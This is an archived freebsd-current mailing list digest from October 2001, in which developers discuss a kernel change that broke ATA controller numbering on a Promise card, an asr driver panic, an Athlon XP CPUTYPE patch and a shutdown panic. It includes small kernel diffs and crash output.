owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mikhail Teterin wrote: > Hi! > > The kernel from Oct 14 has no troubles seeing it as ata-3. Todays > kernel sees ata-0, ata-1, ata-2, but not ata-3. > > In fact, there is a message about ata-2 already present (and as such > being skipped) in dmesg, so, may be, it is skipping the (real) ata-2, > and reports ata-3 as ata-2. > > I have two identical drives (ad4 and ad6) on both of the card's > controllers -- with all the source code there (on a ccd array), so I > can not do meaningful debugging in this situation... Most likely it is caused by this commit to kern/subr_bus.c: ==== revision 1.92 date: 2001/10/28 23:32:35; author: ache; state: Exp; lines: +9 -9 1) In devclass_alloc_unit(), skip duplicated wired devices (i.e. with fixed number) instead of allocating next free unit for them. If someone needs fixed place, he must specify it correctly. "Allocating next" is especially bad because leads to double device detection and to "repeat make_dev panic" as result. This can happens if the same devices present somewhere on PCI bus, hints and ACPI. Making them present in one place only not always possible, "sc" f.e. can't be removed from hints, it results to no console at all. ==== @@ -353,13 +353,10 @@ if (unit != -1) { if (unit >= 0 && unit < dc->maxunit && dc->devices[unit] != NULL) { - /* find the next available slot */ - while (++unit < dc->maxunit && - dc->devices[unit] != NULL) - continue; if (bootverbose) Soren originally added this in rev 1.66: ==== revision 1.66 date: 2000/05/26 13:59:05; author: sos; state: Exp; lines: +8 -13 If devclass_alloc_unit() is called with a wired unit #, and this is buzy, only search upwards for a free slot to use.. This broke unit numbering on ATA systems where PCI attached controllers come before the mainboard ones... ==== Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 14:59: 8 2001 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 8CFEB37B401; Tue, 30 Oct 2001 14:59:03 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id f9UMwfV08483; Tue, 30 Oct 2001 15:58:41 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id f9UMwd734290; Tue, 30 Oct 2001 15:58:40 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200110302258.f9UMwd734290@harmony.village.org> To: John Baldwin Subject: Re: WARNING: Driver mistake: destroy_dev on 154/0 Cc: Poul-Henning Kamp , freebsd-current@FreeBSD.org, jstocker@tzi.de In-reply-to: Your message of "Tue, 30 Oct 2001 13:35:59 PST." References: Date: Tue, 30 Oct 2001 15:58:39 -0700 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message John Baldwin writes: : : On 30-Oct-01 Poul-Henning Kamp wrote: : > In message <000801c1617c$9599ad00$fe02010a@twoflower.liebende.de>, Jan : > Stocker : > writes: : >>Ive updated the first time my system to current (Oct-28, with cvsup). After : >>a make : >>buildword and installworld, i made a new GENERIC kernel and copied the file : >>GENERIC.hints to /boot/device.hints and installed the new kernel. I ve : >>updated all files in /etc and remade all devices. Now a bootup hangs: : >> : >>a) The kernel is loading : >>b) acpi.ko is loading : >>c) "Pentium Pro MTRR support enable" : >>d) "WARNING: Driver mistake: destroy_dev on 154/0" : >> : >>next is a kernel panic "dont do that" : > : > Remove the asr driver from your kernel config until somebody : > fixes its use of destroy_dev() : : Maybe we should remove it from GENERIC? Scott told me on IRC last night that he'd take care of the problem today. If it isn't fixed by midnight, I'm commenting it out of GENERIC. : Warner, do you think we need an updating entry for this? Yes. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 15:15:54 2001 Delivered-To: freebsd-current@freebsd.org Received: from magic.adaptec.com (magic.adaptec.com [208.236.45.80]) by hub.freebsd.org (Postfix) with ESMTP id D474F37B407; Tue, 30 Oct 2001 15:15:49 -0800 (PST) Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11]) by magic.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id PAA17207; Tue, 30 Oct 2001 15:15:35 -0800 (PST) Received: from btc.btc.adaptec.com (btc.btc.adaptec.com [162.62.64.10]) by redfish.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id PAA26905; Tue, 30 Oct 2001 15:01:18 -0800 (PST) Received: from hollin.btc.adaptec.com (hollin [162.62.149.56]) by btc.btc.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id QAA19896; Tue, 30 Oct 2001 16:15:32 -0700 (MST) Received: (from scottl@localhost) by hollin.btc.adaptec.com (8.11.6/8.11.4) id f9UNAcK08987; Tue, 30 Oct 2001 16:10:38 -0700 (MST) (envelope-from scottl) Date: Tue, 30 Oct 2001 16:10:38 -0700 From: Scott Long To: Warner Losh Cc: John Baldwin , Poul-Henning Kamp , freebsd-current@freebsd.org, jstocker@tzi.de Subject: Re: WARNING: Driver mistake: destroy_dev on 154/0 Message-ID: <20011030161038.C8573@hollin.btc.adaptec.com> References: <200110302258.f9UMwd734290@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200110302258.f9UMwd734290@harmony.village.org> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Oct 30, 2001 at 03:58:39PM -0700, Warner Losh wrote: > In message John Baldwin writes: > : > : On 30-Oct-01 Poul-Henning Kamp wrote: > : > In message <000801c1617c$9599ad00$fe02010a@twoflower.liebende.de>, Jan > : > Stocker > : > writes: > : >>Ive updated the first time my system to current (Oct-28, with cvsup). After > : >>a make > : >>buildword and installworld, i made a new GENERIC kernel and copied the file > : >>GENERIC.hints to /boot/device.hints and installed the new kernel. I ve > : >>updated all files in /etc and remade all devices. Now a bootup hangs: > : >> > : >>a) The kernel is loading > : >>b) acpi.ko is loading > : >>c) "Pentium Pro MTRR support enable" > : >>d) "WARNING: Driver mistake: destroy_dev on 154/0" > : >> > : >>next is a kernel panic "dont do that" > : > > : > Remove the asr driver from your kernel config until somebody > : > fixes its use of destroy_dev() > : > : Maybe we should remove it from GENERIC? > > Scott told me on IRC last night that he'd take care of the problem > today. If it isn't fixed by midnight, I'm commenting it out of GENERIC. To the best of my knowledge, the problem has been worked around for now. If the author doesn't provide a real fix soon, I'm going to be borrowing pkh's viking gear. Scott > > : Warner, do you think we need an updating entry for this? > > Yes. > > Warner > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 15:25: 7 2001 Delivered-To: freebsd-current@freebsd.org Received: from smtp.noos.fr (lafontaine.noos.net [212.198.2.72]) by hub.freebsd.org (Postfix) with ESMTP id 5F4D237B405 for ; Tue, 30 Oct 2001 15:25:01 -0800 (PST) Received: (qmail 89979600 invoked by uid 0); 30 Oct 2001 23:24:59 -0000 Received: from unknown (HELO gits.dyndns.org) ([212.198.229.145]) (envelope-sender ) by 212.198.2.72 (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 30 Oct 2001 23:24:59 -0000 Received: (from root@localhost) by gits.dyndns.org (8.11.6/8.11.6) id f9UNOwr21457; Wed, 31 Oct 2001 00:24:58 +0100 (CET) (envelope-from root) Message-Id: <200110302324.f9UNOwr21457@gits.dyndns.org> Subject: Re: adding athlon xp to bsd.cpu.mk In-Reply-To: <20011028163713.B32015@dragon.nuxi.com> To: current@FreeBSD.org Date: Wed, 31 Oct 2001 00:24:58 +0100 (CET) Cc: freebsd-current Reply-To: clefevre@citeweb.net From: Cyrille Lefevre Organization: ACME X-Face: X-Mailer: ELM [version 2.4ME+ PL95a (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David O'Brien wrote: > [ BTW, ONE LIST OR THE OTHER PLEASE!! ] > > On Sat, Oct 27, 2001 at 10:00:44PM +0200, Cyrille Lefevre wrote: > > +. elif ${CPUTYPE} == "athlonxp" > > +CPUTYPE = xp > > Please, NO. There is no 'XP' processor. It is AthlonXP -- so use the > full name. 'k7' was the name of the CPU for quite a long time while it > was in development, thus poeple came to call the CPU 'k7'. I don't know > of anyone that has or will start to call the latest CPU 'xp'. > > Please rework the patch leaving out the 'xp' part. so, how to make the difference between an old (k7) and a new k7 (xp) ? the later one having SSE in addition to the former one... Cyrille. -- Cyrille Lefevre mailto:clefevre@citeweb.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 15:25: 7 2001 Delivered-To: freebsd-current@freebsd.org Received: from smtp.noos.fr (lafontaine.noos.net [212.198.2.72]) by hub.freebsd.org (Postfix) with ESMTP id 604C937B406 for ; Tue, 30 Oct 2001 15:25:01 -0800 (PST) Received: (qmail 89979600 invoked by uid 0); 30 Oct 2001 23:24:59 -0000 Received: from unknown (HELO gits.dyndns.org) ([212.198.229.145]) (envelope-sender ) by 212.198.2.72 (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 30 Oct 2001 23:24:59 -0000 Received: (from root@localhost) by gits.dyndns.org (8.11.6/8.11.6) id f9UNOwr21457; Wed, 31 Oct 2001 00:24:58 +0100 (CET) (envelope-from root) Message-Id: <200110302324.f9UNOwr21457@gits.dyndns.org> Subject: Re: adding athlon xp to bsd.cpu.mk In-Reply-To: <20011028163713.B32015@dragon.nuxi.com> To: current@FreeBSD.org Date: Wed, 31 Oct 2001 00:24:58 +0100 (CET) Cc: freebsd-current Reply-To: clefevre@citeweb.net From: Cyrille Lefevre Organization: ACME X-Face: X-Mailer: ELM [version 2.4ME+ PL95a (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David O'Brien wrote: > [ BTW, ONE LIST OR THE OTHER PLEASE!! ] > > On Sat, Oct 27, 2001 at 10:00:44PM +0200, Cyrille Lefevre wrote: > > +. elif ${CPUTYPE} == "athlonxp" > > +CPUTYPE = xp > > Please, NO. There is no 'XP' processor. It is AthlonXP -- so use the > full name. 'k7' was the name of the CPU for quite a long time while it > was in development, thus poeple came to call the CPU 'k7'. I don't know > of anyone that has or will start to call the latest CPU 'xp'. > > Please rework the patch leaving out the 'xp' part. so, how to make the difference between an old (k7) and a new k7 (xp) ? the later one having SSE in addition to the former one... Cyrille. -- Cyrille Lefevre mailto:clefevre@citeweb.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 15:58:16 2001 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id CBBE137B405; Tue, 30 Oct 2001 15:58:12 -0800 (PST) Received: (from ache@localhost) by nagual.pp.ru (8.11.6/8.11.6) id f9UNvh541020; Wed, 31 Oct 2001 02:57:43 +0300 (MSK) (envelope-from ache) Date: Wed, 31 Oct 2001 02:57:42 +0300 From: "Andrey A. Chernov" To: Peter Wemm Cc: Mikhail Teterin , current@freebsd.org, sos@freebsd.org Subject: Re: ouch -- the second controller on Promise-66 is not detected! Message-ID: <20011031025742.C39765@nagual.pp.ru> References: <200110302149.f9ULnpW04142@aldan.algebra.com> <20011030225717.87F2339F0@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011030225717.87F2339F0@overcee.netplex.com.au> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Oct 30, 2001 at 14:57:17 -0800, Peter Wemm wrote: > date: 2000/05/26 13:59:05; author: sos; state: Exp; lines: +8 -13 > If devclass_alloc_unit() is called with a wired unit #, and this is > buzy, only search upwards for a free slot to use.. > > This broke unit numbering on ATA systems where PCI attached controllers > come before the mainboard ones... This need to be resolved somehow else, not by using next free slot causing multiply consoles, keyboards, etc. detected (with panic). Probably upper level numbering code, i.e. ATA needs to detect its conflicts, not bus numbering code itself. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 16: 9:20 2001 Delivered-To: freebsd-current@freebsd.org Received: from btclick.com (mta02.btfusion.com [62.172.195.247]) by hub.freebsd.org (Postfix) with ESMTP id 2E0E437B40C for ; Tue, 30 Oct 2001 16:09:11 -0800 (PST) Received: from heather.plazza.uk ([213.120.117.63]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GM1N3804.ZAW for ; Wed, 31 Oct 2001 00:09:08 +0000 Received: from localhost (localhost [127.0.0.1]) by heather.plazza.uk (8.11.6/8.11.6) with ESMTP id f9V0AFR01546 for ; Wed, 31 Oct 2001 00:10:15 GMT (envelope-from n_hibma@FreeBSD.ORG) Date: Wed, 31 Oct 2001 00:10:14 +0000 (GMT) From: Nick Hibma X-X-Sender: To: Subject: Re: WARNING: Driver mistake: destroy_dev on 154/0 In-Reply-To: Message-ID: <20011031000621.V697-100000@heather.plazza.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Yes. I have no idea why phk has not done this. As this is a purposeful panicing of systems that worked fine before, I presume that someone is keeping track of the problems that are occurring and going to do something about it? Or is this a bad case of 'someone else's problem'? Nick On Tue, 30 Oct 2001, John Baldwin wrote: > > On 30-Oct-01 Poul-Henning Kamp wrote: > > In message <000801c1617c$9599ad00$fe02010a@twoflower.liebende.de>, Jan > > Stocker > > writes: > >>Ive updated the first time my system to current (Oct-28, with cvsup). After > >>a make > >>buildword and installworld, i made a new GENERIC kernel and copied the file > >>GENERIC.hints to /boot/device.hints and installed the new kernel. I ve > >>updated all files in /etc and remade all devices. Now a bootup hangs: > >> > >>a) The kernel is loading > >>b) acpi.ko is loading > >>c) "Pentium Pro MTRR support enable" > >>d) "WARNING: Driver mistake: destroy_dev on 154/0" > >> > >>next is a kernel panic "dont do that" > > > > Remove the asr driver from your kernel config until somebody > > fixes its use of destroy_dev() > > Maybe we should remove it from GENERIC? > > Warner, do you think we need an updating entry for this? > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 16:13:45 2001 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id 6C0E337B401; Tue, 30 Oct 2001 16:13:40 -0800 (PST) Received: (from ache@localhost) by nagual.pp.ru (8.11.6/8.11.6) id f9V0DQL41635; Wed, 31 Oct 2001 03:13:26 +0300 (MSK) (envelope-from ache) Date: Wed, 31 Oct 2001 03:13:21 +0300 From: "Andrey A. Chernov" To: Peter Wemm Cc: Mikhail Teterin , current@freebsd.org, sos@freebsd.org Subject: Re: ouch -- the second controller on Promise-66 is not detected! Message-ID: <20011031031320.A41539@nagual.pp.ru> References: <200110302149.f9ULnpW04142@aldan.algebra.com> <20011030225717.87F2339F0@overcee.netplex.com.au> <20011031025742.C39765@nagual.pp.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011031025742.C39765@nagual.pp.ru> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Oct 31, 2001 at 02:57:42 +0300, Andrey A. Chernov wrote: > On Tue, Oct 30, 2001 at 14:57:17 -0800, Peter Wemm wrote: > > > date: 2000/05/26 13:59:05; author: sos; state: Exp; lines: +8 -13 > > If devclass_alloc_unit() is called with a wired unit #, and this is > > buzy, only search upwards for a free slot to use.. > > > > This broke unit numbering on ATA systems where PCI attached controllers > > come before the mainboard ones... > > This need to be resolved somehow else, not by using next free slot causing > multiply consoles, keyboards, etc. detected (with panic). Probably upper > level numbering code, i.e. ATA needs to detect its conflicts, not bus > numbering code itself. Giving more details: ATA code must test wired slot, and, if it is busy, increase number to next free slot and give it to bus code afterwards. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 16:38: 8 2001 Delivered-To: freebsd-current@freebsd.org Received: from magic.adaptec.com (magic.adaptec.com [208.236.45.80]) by hub.freebsd.org (Postfix) with ESMTP id BD7DA37B40A; Tue, 30 Oct 2001 16:37:54 -0800 (PST) Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11]) by magic.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id QAA26092; Tue, 30 Oct 2001 16:36:46 -0800 (PST) Received: from btc.btc.adaptec.com (btc.btc.adaptec.com [162.62.64.10]) by redfish.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id QAA05942; Tue, 30 Oct 2001 16:22:29 -0800 (PST) Received: from hollin.btc.adaptec.com (hollin [162.62.149.56]) by btc.btc.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id RAA20437; Tue, 30 Oct 2001 17:36:43 -0700 (MST) Received: (from scottl@localhost) by hollin.btc.adaptec.com (8.11.6/8.11.4) id f9V0Vnh09046; Tue, 30 Oct 2001 17:31:49 -0700 (MST) (envelope-from scottl) Date: Tue, 30 Oct 2001 17:31:49 -0700 From: Scott Long To: Nick Hibma Cc: freebsd-current@freebsd.org Subject: Re: WARNING: Driver mistake: destroy_dev on 154/0 Message-ID: <20011030173149.D8573@hollin.btc.adaptec.com> References: <20011031000621.V697-100000@heather.plazza.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011031000621.V697-100000@heather.plazza.uk> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Oct 31, 2001 at 12:10:14AM +0000, Nick Hibma wrote: > > Yes. I have no idea why phk has not done this. > > As this is a purposeful panicing of systems that worked fine before, I > presume that someone is keeping track of the problems that are occurring > and going to do something about it? Or is this a bad case of 'someone > else's problem'? This was debated ad nausium over the weekend, with the end resulting being a Pay-Per-View deathmatch between phk and grog (to be held at the next Geek Wrestlemania so I hear). In this case, the change actually exposed a long-ignored bug in an *extremely* bogus piece of code in the asr driver. I've applied a Band-Aid to the driver until the author comes up with a suitable fix. Scott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 16:40: 5 2001 Delivered-To: freebsd-current@freebsd.org Received: from aldan.algebra.com (aldan.algebra.com [216.254.65.224]) by hub.freebsd.org (Postfix) with ESMTP id 0C9FF37B403; Tue, 30 Oct 2001 16:40:00 -0800 (PST) Received: from aldan.algebra.com (localhost [127.0.0.1]) by aldan.algebra.com (8.11.6/8.11.5) with ESMTP id f9V0bSW65011; Tue, 30 Oct 2001 19:37:30 -0500 (EST) (envelope-from mi@aldan.algebra.com) Message-Id: <200110310037.f9V0bSW65011@aldan.algebra.com> Date: Tue, 30 Oct 2001 19:37:27 -0500 (EST) From: Mikhail Teterin Subject: Re: ouch -- the second controller on Promise-66 is not detected! To: ache@nagual.pp.ru Cc: peter@wemm.org, current@freebsd.org, sos@freebsd.org In-Reply-To: <20011031031320.A41539@nagual.pp.ru> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alright, alright, what do I do now? I did NOT wire any ata devices, and hints only list the on-motherboard ata controllers (one of them has a CD drive attached to it, that's it): hint.ata.0.at="isa" hint.ata.0.port="0x1F0" hint.ata.0.irq="14" hint.ata.1.at="isa" hint.ata.1.port="0x170" hint.ata.1.irq="15" -mi On 31 Oct, Andrey A. Chernov wrote: > On Wed, Oct 31, 2001 at 02:57:42 +0300, Andrey A. Chernov wrote: >> On Tue, Oct 30, 2001 at 14:57:17 -0800, Peter Wemm wrote: >> >> > date: 2000/05/26 13:59:05; author: sos; state: Exp; lines: +8 -13 >> > If devclass_alloc_unit() is called with a wired unit #, and this is >> > buzy, only search upwards for a free slot to use.. >> > >> > This broke unit numbering on ATA systems where PCI attached >> > controllers come before the mainboard ones... >> >> This need to be resolved somehow else, not by using next free slot >> causing multiply consoles, keyboards, etc. detected (with panic). >> Probably upper level numbering code, i.e. ATA needs to detect its >> conflicts, not bus numbering code itself. > > Giving more details: > ATA code must test wired slot, and, if it is busy, increase number to > next free slot and give it to bus code afterwards. -mi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 16:52: 2 2001 Delivered-To: freebsd-current@freebsd.org Received: from pozo.com (pozo.com [216.101.162.50]) by hub.freebsd.org (Postfix) with ESMTP id 9FB1437B403; Tue, 30 Oct 2001 16:51:56 -0800 (PST) Received: from dual.pozo.com (dual.pozo.com [216.101.162.51]) by pozo.com (8.11.6/8.11.6) with ESMTP id f9V0poE00450; Tue, 30 Oct 2001 16:51:50 -0800 (PST) (envelope-from null@pozo.com) Message-Id: <5.1.0.14.2.20011030164508.00aa0d18@pozo.com> X-Sender: null@pozo.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 30 Oct 2001 16:50:53 -0800 To: current@FreeBSD.ORG From: Manfred Antar Subject: Current panic on shutdown bwrite: buffer is not busy??? Cc: smp@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG For the past week I have been getting Fatal trap on shutdown This is on a SMP Pentium Pro system. Oct 30 16:42:47 pozo shutdown: reboot by root: Fatal trap 12: page fault while in kernel mode cpuid = 1; lapic.id = 0c000000 fault virtual address = 0x64 fault code = supervisor read, page not present instruction pointer = 0x8:0xc01b9b77 stack pointer = 0x10:0xdd9f6a2c frame pointer = 0x10:0xdd9f6a30 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 3259 (init) trap number = 12 panic: page fault cpuid = 0; lapic.id = 00000000 boot() called on cpu#0 syncing disks... panic: bwrite: buffer is not busy??? cpuid = 0; lapic.id = 00000000 boot() called on cpu#0 Uptime: 3h8m17s dumping to dev da0s1b, offset 237568 Manfred ================================== || null@pozo.com || || Ph. (415) 681-6235 || ================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 16:52:40 2001 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id 4639537B403; Tue, 30 Oct 2001 16:52:36 -0800 (PST) Received: (from ache@localhost) by nagual.pp.ru (8.11.6/8.11.6) id f9V0qRv42274; Wed, 31 Oct 2001 03:52:27 +0300 (MSK) (envelope-from ache) Date: Wed, 31 Oct 2001 03:52:26 +0300 From: "Andrey A. Chernov" To: Mikhail Teterin Cc: peter@wemm.org, current@freebsd.org, sos@freebsd.org Subject: Re: ouch -- the second controller on Promise-66 is not detected! Message-ID: <20011031035226.A42000@nagual.pp.ru> References: <20011031031320.A41539@nagual.pp.ru> <200110310037.f9V0bSW65011@aldan.algebra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200110310037.f9V0bSW65011@aldan.algebra.com> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Oct 30, 2001 at 19:37:27 -0500, Mikhail Teterin wrote: > Alright, alright, what do I do now? I did NOT wire any ata devices, and Ask Soren to fix ATA driver in the way I describe below: > > Giving more details: > > ATA code must test wired slot, and, if it is busy, increase number to > > next free slot and give it to bus code afterwards. or Try to wire device in question using your hints to proper place. (Comment about current situation: not detected ATA device in some rare cases is lesser evil than kernel panic, even without any device, with pure console) -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 18:54:41 2001 Delivered-To: freebsd-current@freebsd.org Received: from wint.itfs.nsk.su (wint.itfs.nsk.su [212.20.32.43]) by hub.freebsd.org (Postfix) with ESMTP id BC18537B401 for ; Tue, 30 Oct 2001 18:54:37 -0800 (PST) Received: (from nnd@localhost) by wint.itfs.nsk.su (8.11.6/8.11.4) id f9V2sZv04739; Wed, 31 Oct 2001 08:54:35 +0600 (NOVT) (envelope-from nnd) Date: Wed, 31 Oct 2001 08:54:35 +0600 (NOVT) Message-Id: <200110310254.f9V2sZv04739@wint.itfs.nsk.su> From: nnd@mail.nsk.ru (Nickolay Dudorov) To: current@freebsd.org Subject: Re: ouch -- the second controller on Promise-66 is not detected! In-Reply-To: <200110310037.f9V0bSW65011@aldan.algebra.com> X-Newsgroups: itfs.freebsd.current User-Agent: tin/1.5.9-20010723 ("Chord of Souls") (UNIX) (FreeBSD/5.0-CURRENT (i386)) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG With the following patch I can now use all the channels on the HPT366 controller in my ABIT's BP6 mobo. N.Dudorov Index: sys/dev/ata/ata-pci.c =================================================================== RCS file: /scratch/CVS/src/sys/dev/ata/ata-pci.c,v retrieving revision 1.16 diff -b -u -r1.16 ata-pci.c --- sys/dev/ata/ata-pci.c 23 Oct 2001 09:57:49 -0000 1.16 +++ sys/dev/ata/ata-pci.c 30 Oct 2001 03:54:39 -0000 @@ -271,7 +271,7 @@ return ENOMEM; } else { - if (!(child = device_add_child(dev, "ata", 2))) + if (!(child = device_add_child(dev, "ata", -1))) return ENOMEM; } return 0; In article <200110310037.f9V0bSW65011@aldan.algebra.com> Mikhail Teterin wrote: > Alright, alright, what do I do now? I did NOT wire any ata devices, and > hints only list the on-motherboard ata controllers (one of them has a CD > drive attached to it, that's it): > > hint.ata.0.at="isa" > hint.ata.0.port="0x1F0" > hint.ata.0.irq="14" > hint.ata.1.at="isa" > hint.ata.1.port="0x170" > hint.ata.1.irq="15" > > -mi > > On 31 Oct, Andrey A. Chernov wrote: >> On Wed, Oct 31, 2001 at 02:57:42 +0300, Andrey A. Chernov wrote: >>> On Tue, Oct 30, 2001 at 14:57:17 -0800, Peter Wemm wrote: >>> >>> > date: 2000/05/26 13:59:05; author: sos; state: Exp; lines: +8 -13 >>> > If devclass_alloc_unit() is called with a wired unit #, and this is >>> > buzy, only search upwards for a free slot to use.. >>> > >>> > This broke unit numbering on ATA systems where PCI attached >>> > controllers come before the mainboard ones... >>> >>> This need to be resolved somehow else, not by using next free slot >>> causing multiply consoles, keyboards, etc. detected (with panic). >>> Probably upper level numbering code, i.e. ATA needs to detect its >>> conflicts, not bus numbering code itself. >> >> Giving more details: >> ATA code must test wired slot, and, if it is busy, increase number to >> next free slot and give it to bus code afterwards. > > -mi > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 19: 7:12 2001 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id 6073337B406; Tue, 30 Oct 2001 19:07:06 -0800 (PST) Received: (from ache@localhost) by nagual.pp.ru (8.11.6/8.11.6) id f9V373144119; Wed, 31 Oct 2001 06:07:03 +0300 (MSK) (envelope-from ache) Date: Wed, 31 Oct 2001 06:07:03 +0300 From: =?koi8-r?B?4c7E0sXKIP7F0s7P1w==?= To: Nickolay Dudorov Cc: current@FreeBSD.ORG, sos@FreeBSD.ORG, peter@FreeBSD.ORG, 